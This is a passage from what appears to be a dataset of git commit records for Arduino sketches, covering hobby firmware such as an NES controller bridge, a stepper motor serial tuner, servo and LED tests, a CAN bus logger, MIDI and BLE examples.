\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid myHandler(String event, String data) {\n digitalWrite(7, HIGH);\n char inputStr[193];\n data.toCharArray(inputStr, 193);\n tweetData[0] = 0xE8;\n static int i=1;\n for(i=1; i<192; i++) { tweetData[i] = inputStr[i]; }\n memset(&inputStr[0], 0, sizeof(inputStr));\n bytesToTransfer = 192;\n byteCount = 0;\n digitalWrite(7, LOW);\n }\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid ClockNES() {\n digitalWrite(NES_DATA, latchedByte & 0x01);\n latchedByte >>= 1;\n bitCount++;\n }\n\n \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid LatchNES() {\n if (byteCount == bytesToTransfer) {\n latchedByte = 0xFF;\n digitalWrite(NES_DATA, latchedByte & 0x01);\n latchedByte >>= 1;\n bitCount = 0;\n }\n else {\n latchedByte = tweetData[byteCount] ^ 0xFF;\n digitalWrite(NES_DATA, latchedByte & 0x01);\n latchedByte >>= 1;\n bitCount = 0;\n byteCount++;\n }\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon-firmware\/connectednes.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f73db69fc5a869855814c20e54b2181a00630b5","subject":"unfortunately you need to know the common serial speed values","message":"unfortunately you need to know the common serial speed values\n","repos":"interactive-matter\/TMC26XStepper-Generator,interactive-matter\/TMC26XStepper,trinamic\/TMC26XStepper","old_file":"examples\/TMC262MotorTester\/Serial.ino","new_file":"examples\/TMC262MotorTester\/Serial.ino","new_contents":"#define INPUT_BUFFER_LENGTH 32\n\n#define SERIAL_SPEED 115200\n\nchar inputBuffer[INPUT_BUFFER_LENGTH+1]; \/\/ad on character to keep the trainling 0\nunsigned char inputBufferPosition;\n\nvoid startSerial() {\n Serial.begin(SERIAL_SPEED);\n Serial.println(\"=================================\");\n Serial.println(\"TMC262 Stepper Driver Motor Tuner\");\n Serial.println(\"=================================\");\n \/\/empty the input buffer\n for (unsigned char i=0; i< INPUT_BUFFER_LENGTH+1; i++) {\n inputBuffer[i]=0;\n }\n inputBufferPosition=0;\n}\n\nvoid loopSerial() {\n if (Serial.available()>0 && inputBufferPosition<INPUT_BUFFER_LENGTH) {\n char c = Serial.read();\n \/\/Read the char\n inputBuffer[inputBufferPosition]=c;\n inputBufferPosition++;\n \/\/always terminate the string\n inputBuffer[inputBufferPosition]=0;\n \/\/and if the line ended we execute the command\n if (c=='\\n') {\n executeSerialCommand(); \n }\n }\n}\n\nvoid executeSerialCommand() {\n Serial.print(\"Executing \");\n Serial.println(inputBuffer);\n \/\/stimple runn & stop commands\n switch(inputBuffer[0]) {\n case 's':\n running = 0;\n break;\n case 'r':\n running = -1;\n break;\n case 'S':\n int targetSpeed = decode(1);\n setSpeed(targetSpeed);\n break;\n }\n \/\/at the end delete buffer\n inputBufferPosition=0;\n inputBuffer[0]=0;\n \n \n}\n\nint decode(unsigned char startPosition) {\n int result=0;\n for (unsigned char i=startPosition; i< (INPUT_BUFFER_LENGTH+1) && inputBuffer[i]!=0; i++) {\n char number = inputBuffer[i];\n \/\/this very dumb approac can lead to errors, but we expect only numbers after the command anyway\n if (number <= '9' && number >='0') {\n result *= 10;\n result += number - '0';\n } \n }\n return result;\n}\n\n\n","old_contents":"#define INPUT_BUFFER_LENGTH 32\n\n#define SERIAL_SPEED 115600\n\nchar inputBuffer[INPUT_BUFFER_LENGTH+1]; \/\/ad on character to keep the trainling 0\nunsigned char inputBufferPosition;\n\nvoid startSerial() {\n Serial.begin(SERIAL_SPEED);\n Serial.println(\"=================================\");\n Serial.println(\"TMC262 Stepper Driver Motor Tuner\");\n Serial.println(\"=================================\");\n \/\/empty the input buffer\n for (unsigned char i=0; i< INPUT_BUFFER_LENGTH+1; i++) {\n inputBuffer[i]=0;\n }\n inputBufferPosition=0;\n}\n\nvoid loopSerial() {\n if (Serial.available()>0 && inputBufferPosition<INPUT_BUFFER_LENGTH) {\n char c = Serial.read();\n \/\/Read the char\n inputBuffer[inputBufferPosition]=c;\n inputBufferPosition++;\n \/\/always terminate the string\n inputBuffer[inputBufferPosition]=0;\n \/\/and if the line ended we execute the command\n if (c=='\\n') {\n executeSerialCommand(); \n }\n }\n}\n\nvoid executeSerialCommand() {\n Serial.print(\"Executing \");\n Serial.println(inputBuffer);\n \/\/stimple runn & stop commands\n switch(inputBuffer[0]) {\n case 's':\n running = 0;\n break;\n case 'r':\n running = -1;\n break;\n case 'S':\n int targetSpeed = decode(1);\n setSpeed(targetSpeed);\n break;\n }\n \/\/at the end delete buffer\n inputBufferPosition=0;\n inputBuffer[0]=0;\n \n \n}\n\nint decode(unsigned char startPosition) {\n int result=0;\n for (unsigned char i=startPosition; i< (INPUT_BUFFER_LENGTH+1) && inputBuffer[i]!=0; i++) {\n char number = inputBuffer[i];\n \/\/this very dumb approac can lead to errors, but we expect only numbers after the command anyway\n if (number <= '9' && number >='0') {\n result *= 10;\n result += number - '0';\n } \n }\n return result;\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"f08d21d019be0beb793db42ca816883179aaabd2","subject":"add led serial","message":"add led serial\n","repos":"ubaldino\/pyloop,ubaldino\/pyloop","old_file":"ledSerial.ino","new_file":"ledSerial.ino","new_contents":"void setup(){\n Serial.begin( 9600 );\n pinMode( 13 , 1 );\n}\nvoid loop(){\n \n if( Serial.available() ){\n char valor = (char) Serial.read();\n if( valor == 'a' ){\n \t\tdigitalWrite( 13 , 1 );\n }\n if( valor == 'e' ){\n \t\tdigitalWrite( 13 , 0 );\n }\n }\n \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'ledSerial.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1e0288b811caa2b4fab3611c2d61aca3137b31e2","subject":"Adding blinker in its own folder and a nodemcu env.","message":"Adding blinker in its own folder and a nodemcu env.\n","repos":"mborgraeve\/ArduinoThermostat,mborgraeve\/ArduinoThermostat","old_file":"src\/blink.ino","new_file":"src\/blink.ino","new_contents":"#include <ESP8266WiFi.h>\n\/\/#include <WiFiClient.h>\n\/\/#include <ESP8266WebServer.h>\n\/\/#include <ESP8266mDNS.h>\n\/\/#include <PString.h>\n\/\/#include <DHT.h>\n\/\/#include \"Timer.h\"\n\/\/#include \"Instruction.h\"\n\/\/#include \"DHTSmoother.h\"\n\/\/#include \"Variator.h\"\n\/\/\n\/\/#define\tNTP_SERVER_NAME \"us.pool.ntp.org\"\n\/\/#define\tNTP_TIMEZONE -4*60*60\n\/\/#define NTP_INTERVAL 10 * 1000 \/\/ In miliseconds\n\/\/#define DHT11_PIN 2\n#define LED_PIN 2\n\/\/#define DHTTYPE DHT11\n\/\/#define VARIO_PIN 0\n\n\/\/const char* ssid = \"BandelBorgraeveBGN\"; \/\/ remplacer par le SSID de votre WiFi\n\/\/const char* password = \"coucoucnous\"; \/\/ remplacer par le mot de passe de votre WiFi\n\/\/Timer* timer;\n\/\/ESP8266WebServer server(80); \/\/ on instancie un serveur ecoutant sur le port 80\n\/\/char answerBuffer[100];\n\/\/\n\/\/DHT* dht;\n\/\/Instruction* instruction;\n\/\/DHTSmoother* smoother;\n\/\/Variator* vario;\n\nvoid setup(void) {\n\n\tSerial.begin(115200);\n\tSerial.println(\"Initializing...\");\n\tpinMode(LED_BUILTIN, OUTPUT);\n\n const esp_mqtt_client_config_t mqtt_cfg = {\n .uri = \"mqtt:\/\/mqtt.eclipseprojects.io\",\n \/\/ .user_context = (void *)your_context\n };\n esp_mqtt_client_handle_t client = esp_mqtt_client_init(&mqtt_cfg);\n esp_mqtt_client_register_event(client, ESP_EVENT_ANY_ID, mqtt_event_handler, client);\n esp_mqtt_client_start(client);\n\n}\nvoid loop(void) {\n\t\/\/timer.dayStr(timer.day());\n\tdelay(1000);\n digitalWrite(LED_BUILTIN, HIGH);\n\tdelay(1000);\n digitalWrite(LED_BUILTIN, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/blink.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0d8fdc60f66fbdc15c4d8151bad757416e7da15e","subject":"Update Titan16_3DOF.ino","message":"Update Titan16_3DOF.ino","repos":"wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robotic' did not match any file(s) known to git\nerror: pathspec 'Arm\/Titan16_3DOF\/Titan16_3DOF.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddcb8c8c143f5ac469b2516e6ac1e0be62e7ee42","subject":"ServoTest","message":"ServoTest\n\nAdded a program to test servo with a potentiometer.\n","repos":"bulldog-bots\/rover_kit","old_file":"tests\/ServoTest\/Servotest\/Servotest.ino","new_file":"tests\/ServoTest\/Servotest\/Servotest.ino","new_contents":"#include <Servo.h>\nint const potpin = A0; \/\/Pin pot is plugged into\nint potval; \/\/ variable to read the pot value\nint angle; \/\/ value sent to servo\nServo myservo; \/\/ the name of the servo used\n\nvoid setup() {\n myservo.attach(3);\/\/ connects servo on pin 3 to servo object my servo\n Serial.begin(9600); \/\/ opens serial connection to computer\n}\n\nvoid loop() {\n potval = analogRead(potpin); \/\/ reads the value of the potentiomeer\n\n angle = map(potval,0,1023,0,179); \/\/converts the the pot value that is 0-1023 to angle, 0 - 179\n\n myservo.write(angle); \/\/ sends that angle value to the servo\n Serial.println(angle);\n delay(20); \/\/gives the servo time to get to its position\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/ServoTest\/Servotest\/Servotest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db2fccdbf0fcb8f27d813fa9534872d1b83726e5","subject":"ready for tmr testing","message":"ready for tmr testing\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b43e98f39ca08b302236f0e9fea35e25c893598","subject":"Beginning of firmware","message":"Beginning of firmware\n","repos":"snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation","old_file":"GenV\/EarlIFirmware\/EarlIFirmware.ino","new_file":"GenV\/EarlIFirmware\/EarlIFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/snowdenator\/EarlHomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7a92d00cbfadf3ddd342afec3aa6922a8ec8ff9f","subject":"Create DTH33.ino","message":"Create DTH33.ino","repos":"sbushnell\/SmartThings_DHT33","old_file":"firmware\/DTH33.ino","new_file":"firmware\/DTH33.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sbushnell\/SmartThings_DHT33.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"afd457b73a797930cc9686f765fc7d65a67149f9","subject":"Update PP_G3099b0302.ino","message":"Update PP_G3099b0302.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/G3_module\/PP_G3099b0302.ino","new_file":"Arduino with cc3000wifi based\/G3_module\/PP_G3099b0302.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/G3_module\/PP_G3099b0302.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2209371d778129b0dd4b7274358723b66cfc7096","subject":"Create canSteer.ino","message":"Create canSteer.ino","repos":"kanj\/canBuster,kanj\/canBuster","old_file":"canSteer\/src\/canSteer.ino","new_file":"canSteer\/src\/canSteer.ino","new_contents":"\/*\n canBrake\n \n created 11JUL2016\n by Kirk Terrell\n \n This example is based off an example code from Arduino's site\n http:\/\/arduino.cc\/en\/Tutorial\/Datalogger and it shows how to \n log data from three analog sensors with a timestamp based on when\n the Arduino began running the current program to an SD card using\n the SD library https:\/\/github.com\/greiman\/SdFat by William \n Greiman. This example code also includes an output to the \n Serial Monitor for debugging.\n \t\n \n This example code is in the public domain.\n *\/\n\n \n#include <SPI.h>\n#include <SD.h>\n\n#include \"Canbus.h\"\n#include \"mcp2515.h\"\n#include \"canbuster.h\"\n\n\n\nchar UserInput;\nint state=-1;\nchar buffer[456]; \/\/Data will be temporarily stored to this buffer before being written to the file\ntCAN message;\nFile dataFile;\nunsigned long timeStamp,now;\n\n\/\/ Chip Select pin is tied to pin 9 on the SparkFun CAN-Bus Shield\nconst int chipSelect = 9; \n\nvoid writeFile(tCAN message, int state) {\n\n File dataFile = SD.open(\"STEER\/LOG.TXT\", FILE_WRITE); \/\/Create directory\n \n \/\/Serial.println(message.id,HEX);\n \/\/write to uSD card\n dataFile.print(millis());\n dataFile.print(\" ms\");\n dataFile.print(\", \");\n dataFile.print(state,DEC);\n dataFile.print(\", \");\n dataFile.print(message.id,HEX);\n dataFile.print(\", \");\n for (int i=0;i<8;i++) {\n dataFile.print(message.data[i],DEC);\n if ( i < 7) dataFile.print(\", \");\n\t\t\t \n }\t\n dataFile.println();\n delay(10);\n dataFile.close(); \/\/close file\n return;\n}\n\nvoid setup()\n{\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n Serial.print(\"Initializing SD card...\");\n \/\/ make sure that the default chip select pin is set to\n \/\/ output, even if you don't use it:\n pinMode(chipSelect, OUTPUT);\n\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n \n Serial.println(\"card initialized.\");\n SD.mkdir(\"STEER\");\n File dataFile = SD.open(\"STEER\/LOG.TXT\", FILE_WRITE); \/\/Create directory\n dataFile.println(\"Time, state, AID, D0,D1,D2,D3,D4,D5,D6,D7\");\n dataFile.close();\n if(Canbus.init(CANSPEED_500)) \/* Initialise MCP2515 CAN controller at the specified speed *\/\n {\n Serial.println(\"CAN Init ok\");\n } else\n {\n Serial.println(\"Can't init CAN\");\n } \n \n while (!mcp2515_check_message()){ \n delay(100);\n } \n Serial.println(\"CAN traffic detected\");\n delay(5000); \n}\n\nvoid loop()\n{\n \n \n \n now=millis();\n state=-state;\n \n if ( state==1)\n Serial.println(\"Move Steering Wheel \");\n else\n Serial.println(\"Keep Steering Wheel steady \");\n \n delay(1000); \/\/ This allows for reaction time\n \n while ( millis()-now <= 5000) {\n \n \n \n if (mcp2515_check_message()) {\n\t\t\t\t\t\n\t if (mcp2515_get_message(&message)) {\n\t\t\t \n\t\t\t switch (message.id) {\n\t\t\t case ecuBRAKE01: \/\/Ignore message from this ECU\n\t\t\t break;\n\t\t\t case ecuBRAKE02: \/\/Ignore message from this ECU\n\t\t\t break; \n\t\t\t default: \n\t\t\t writeFile(message,state);\n\t\t\t break;\n }\t\t\t \n\t\t\t \n \n \n \t} \n }\n \n }\t\t\t \n \n \n \n \n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'canSteer\/src\/canSteer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7889f10fd3d3f44c4a07c170a097b4eebf44fc2","subject":"EnsembleOne firmware","message":"EnsembleOne firmware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Ensembles\/EnsembleOne\/firmeware\/EnsembleOne_firmware\/EnsembleOne_firmware.ino","new_file":"Ensembles\/EnsembleOne\/firmeware\/EnsembleOne_firmware\/EnsembleOne_firmware.ino","new_contents":"\/* PHOBOS - EnsembleOne firmware v.0.1 (16.05.2017)\n * \n * \n *\/\n\n#include <MIDI.h>\n\n\/\/ MOUSSE BOWLS' PINS\n#define A1 7\n#define A2 8\n#define A3 9 \n#define A4 10\n\/\/ MEDALS' PINS\n#define B1 4\n#define B2 5\n#define B3 6\n\/\/ SHAKERS' PINS\n#define C1 44\n#define C2 2\n#define C3 3\n\/\/ WOOD BLOCKS' PINS\n#define D1 46\n#define D2 45\n\n\/\/ make note to pin array\nbyte note2pin[38];\nbyte vel, pitch;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(1); \/\/ Launch MIDI and listen to channel 1\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n pinMode(A2, OUTPUT);\n pinMode(A3, OUTPUT);\n pinMode(A4, OUTPUT);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n pinMode(B3, OUTPUT);\n \n pinMode(C1, OUTPUT);\n pinMode(C2, OUTPUT);\n pinMode(C3, OUTPUT);\n \n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n\n \/\/ set note2pin array\n note2pin[0] = A1;\n note2pin[1] = A2;\n note2pin[2] = A3;\n note2pin[3] = A4; \n\n note2pin[12] = B1;\n note2pin[13] = B2;\n note2pin[14] = B3;\n\n note2pin[24] = C1;\n note2pin[25] = C2;\n note2pin[26] = C3;\n\n note2pin[36] = D1;\n note2pin[37] = D2;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType(){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n analogWrite(note2pin[pitch], vel << 1);\n break;\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n analogWrite(note2pin[pitch], LOW);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ensembles\/EnsembleOne\/firmeware\/EnsembleOne_firmware\/EnsembleOne_firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ab104e46b67dac0c0a431707ae64cab10f8a52f7","subject":"an example for setting contrast","message":"an example for setting contrast\n","repos":"baghayi\/Nokia_5110,baghayi\/Nokia_5110","old_file":"examples\/Contrast\/Contrast.ino","new_file":"examples\/Contrast\/Contrast.ino","new_contents":"#include \"Nokia_5110.h\"\n\n#define RST 2\n#define CE 3\n#define DC 4\n#define DIN 5\n#define CLK 6\n\nNokia_5110 lcd = Nokia_5110(RST, CE, DC, DIN, CLK);\n\n\nvoid setup() {\n lcd.setContrast(60); \/\/ 60 is the default value set by the driver\n}\n\nvoid loop() {\n lcd.clear();\n lcd.println(\"`setContrast` method lets you change the LCD's Contrast.\");\n delay(8000);\n\n lcd.clear();\n lcd.println(\"It accepts a value between 0 and 127 (0 >= value <= 127)\");\n delay(8000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Contrast\/Contrast.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a8233a63b4b4c24baf414163985e65dcce521f52","subject":"example of odometer usage","message":"example of odometer usage\n","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield","old_file":"examples\/Odometer\/Odometer.ino","new_file":"examples\/Odometer\/Odometer.ino","new_contents":"#include <Smartcar_sensors.h>\n\nOdometer encoder;\nunsigned long startTime;\nunsigned int timeOver = 20000; \/\/20 seconds\n\nvoid setup() {\n Serial.begin(9600);\n encoder.attach(19);\n encoder.begin();\n startTime = millis();\n}\n\nvoid loop() {\n \n if (millis()-startTime>timeOver){ \/\/count until timeOver seconds and then detach the encoder\n encoder.detach(); \n }\n delay(200);\n Serial.println(encoder.getDistance());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Odometer\/Odometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c3156bdace2d0a0e33a065e150730824fbf2553","subject":"Fixed trimmed clock","message":"Fixed trimmed clock\n","repos":"dltn\/tortellini,dltn\/tortellini","old_file":"server-firmware\/BadgeClock\/BadgeClockTrim\/BadgeClockTrim.ino","new_file":"server-firmware\/BadgeClock\/BadgeClockTrim\/BadgeClockTrim.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dltn\/tortellini.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"313e814c6650afdd75e184c522e00b27cbe2dc0b","subject":"Create PhotoResistor.ino","message":"Create PhotoResistor.ino","repos":"walterhiggins\/scriptcraft-extras-mqtt,walterhiggins\/scriptcraft-extras-mqtt","old_file":"sketches\/example-2\/PhotoResistor.ino","new_file":"sketches\/example-2\/PhotoResistor.ino","new_contents":"\/*\n Based on the AnalogReadSerial Example\n Reads an analog input on pin 0, prints the result to the serial monitor.\n *\/\nint prevValue = 0;\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n int sensorValue = analogRead(A0);\n if (sensorValue != prevValue){\n prevValue = sensorValue;\n String mesg = \"LIGHT \" + sensorValue;\n Serial.println(sensorValue);\n }\n \/\/ print out the value you read:\n \n delay(20); \/\/ delay in between reads for stability\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/example-2\/PhotoResistor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc99c7442ebb6b8df988796e8b7a1fe6efef1609","subject":"add NRF52 code","message":"add NRF52 code\n","repos":"cujomalainey\/MapsUp,cujomalainey\/MapsUp,cujomalainey\/MapsUp","old_file":"nrf52\/nrf52.ino","new_file":"nrf52\/nrf52.ino","new_contents":"\/\/ Copyright (c) Sandeep Mistry. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEPeripheral.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 10\n#define BLE_RDY 2\n#define BLE_RST 9\n\n\/\/ LED pin\n#define LED_PIN LED_BUILTIN\n\n\/\/ create peripheral instance, see pinouts above\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\n\n\/\/ create service\nBLEService ledService = BLEService(\"713d0000503e4c75ba943148f18d941e\");\n\n\/\/ create switch characteristic\nBLECharacteristic switchCharacteristic = BLECharacteristic(\"713d0003503e4c75ba943148f18d941e\", BLERead | BLEWrite, 255);\n\nvoid setup() {\n Serial.begin(115200);\n#if defined (__AVR_ATmega32U4__)\n delay(5000); \/\/5 seconds delay for enabling to see the start up comments on the serial board\n#endif\n\n \/\/ set LED pin to output mode\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ set advertised local name and service UUID\n blePeripheral.setLocalName(\"TXRX\");\n blePeripheral.setAdvertisedServiceUuid(ledService.uuid());\n\n \/\/ add service and characteristic\n blePeripheral.addAttribute(ledService);\n blePeripheral.addAttribute(switchCharacteristic);\n\n \/\/ assign event handlers for connected, disconnected to peripheral\n blePeripheral.setEventHandler(BLEConnected, blePeripheralConnectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, blePeripheralDisconnectHandler);\n\n \/\/ assign event handlers for characteristic\n switchCharacteristic.setEventHandler(BLEWritten, switchCharacteristicWritten);\n\n \/\/ begin initialization\n blePeripheral.begin();\n\n Serial.println(F(\"BLE LED Peripheral\"));\n}\n\nvoid loop() {\n \/\/ poll peripheral\n blePeripheral.poll();\n}\n\nvoid blePeripheralConnectHandler(BLECentral& central) {\n \/\/ central connected event handler\n Serial.print(F(\"Connected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid blePeripheralDisconnectHandler(BLECentral& central) {\n \/\/ central disconnected event handler\n Serial.print(F(\"Disconnected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid switchCharacteristicWritten(BLECentral& central, BLECharacteristic& characteristic) {\n \/\/ central wrote new value to characteristic, update LED\n Serial.print(F(\"Characteristic event, writen: \"));\n\n digitalWrite(LED_PIN, !digitalRead(LED_PIN));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nrf52\/nrf52.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b55281702a9d7621c2b62542a44438e6a41ca8a6","subject":"forward and turn","message":"forward and turn\n","repos":"janunezc\/robotics,janunezc\/robotics,janunezc\/robotics,janunezc\/robotics","old_file":"_03_s4a_edu_forward_and_turn\/_03_s4a_edu_forward_and_turn.ino","new_file":"_03_s4a_edu_forward_and_turn\/_03_s4a_edu_forward_and_turn.ino","new_contents":"\/*\n Author: Jose Nunez (jose.nunez@intel.com)\n This is Open Sourece Code, released under the terms of the \"MIT License\"\n Copyright Intel Coportation 2016\n*\/\n\n#define board_led 13\n#define left_speed_pin 5\n#define right_speed_pin 6\n#define left_direction_pin 10\n#define right_direction_pin 11\n#define MOTOR_LEFT \"L\"\n#define MOTOR_RIGHT \"R\"\n#define MOTOR_DIRECTION_FORWARD 1\n#define MOTOR_DIRECTION_BACKWARDS 0\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(board_led, OUTPUT);\n pinMode(left_speed_pin, OUTPUT);\n pinMode(right_speed_pin, OUTPUT);\n pinMode(left_direction_pin, OUTPUT);\n pinMode(right_direction_pin, OUTPUT);\n\n \n doBlink(10, 100);\n\n setMotor(MOTOR_LEFT, MOTOR_DIRECTION_FORWARD, 100);\n setMotor(MOTOR_RIGHT, MOTOR_DIRECTION_BACKWARDS, 100);\n\n delay (5000);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n setMotor(MOTOR_LEFT, MOTOR_DIRECTION_FORWARD, 100);\n setMotor(MOTOR_RIGHT, MOTOR_DIRECTION_FORWARD, 100); \n delay(3000);\n setMotor(MOTOR_LEFT, MOTOR_DIRECTION_FORWARD, 0);\n setMotor(MOTOR_RIGHT, MOTOR_DIRECTION_FORWARD, 0); \n doBlink(3, 100);\n setMotor(MOTOR_LEFT, MOTOR_DIRECTION_BACKWARDS, 100);\n setMotor(MOTOR_RIGHT, MOTOR_DIRECTION_FORWARD, 100); \n delay(1000);\n \n}\n\n\/* \n * motor: \"L\" for left and \"R\" for Right\n * direction: 1 for Forward, 0 for Backwards\n * speed: percentage 0-100 for speed of the motor\n *\/\n\nvoid setMotor(String motor, int motorDirection, int motorSpeed){\n if(motor==MOTOR_RIGHT){\n digitalWrite(right_direction_pin, motorDirection);\n analogWrite(right_speed_pin, motorSpeed);\n }\n\n if(motor==MOTOR_LEFT){\n digitalWrite(left_direction_pin, motorDirection);\n analogWrite(left_speed_pin, motorSpeed);\n }\n}\n\n\/\/USE THIS AS HUMANCOMMUNICATION MECHANISM \nvoid doBlink(int times, int delayTime){\n for(int i=0; i<times; i++){\n digitalWrite(board_led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(delayTime); \/\/ wait for a second\n digitalWrite(board_led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(delayTime); \/\/ wait for a second \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_03_s4a_edu_forward_and_turn\/_03_s4a_edu_forward_and_turn.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8c6ec67ff827bce9196ef76e2197f82caaeb933","subject":"mano_v0.7","message":"mano_v0.7\n\nmano v0.7 - InMoov Hand - AILR. Take objects.","repos":"ailr16\/InMoov-Control---AILR","old_file":"mano_v0.7.ino","new_file":"mano_v0.7.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Mano v0.7 \/\/\n\/\/ Toma objetos de acuerdo a tama\u00f1o \/\/\n\/\/ Control manual \/\/\n\/\/ Angel Iv\u00e1n Lozano Ram\u00edrez \/\/\n\/\/ 02.04.2017 00:15h \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/Servomotors library\n#include <Servo.h>\n\n\/\/Define servomotors\nServo pinkie;\nServo 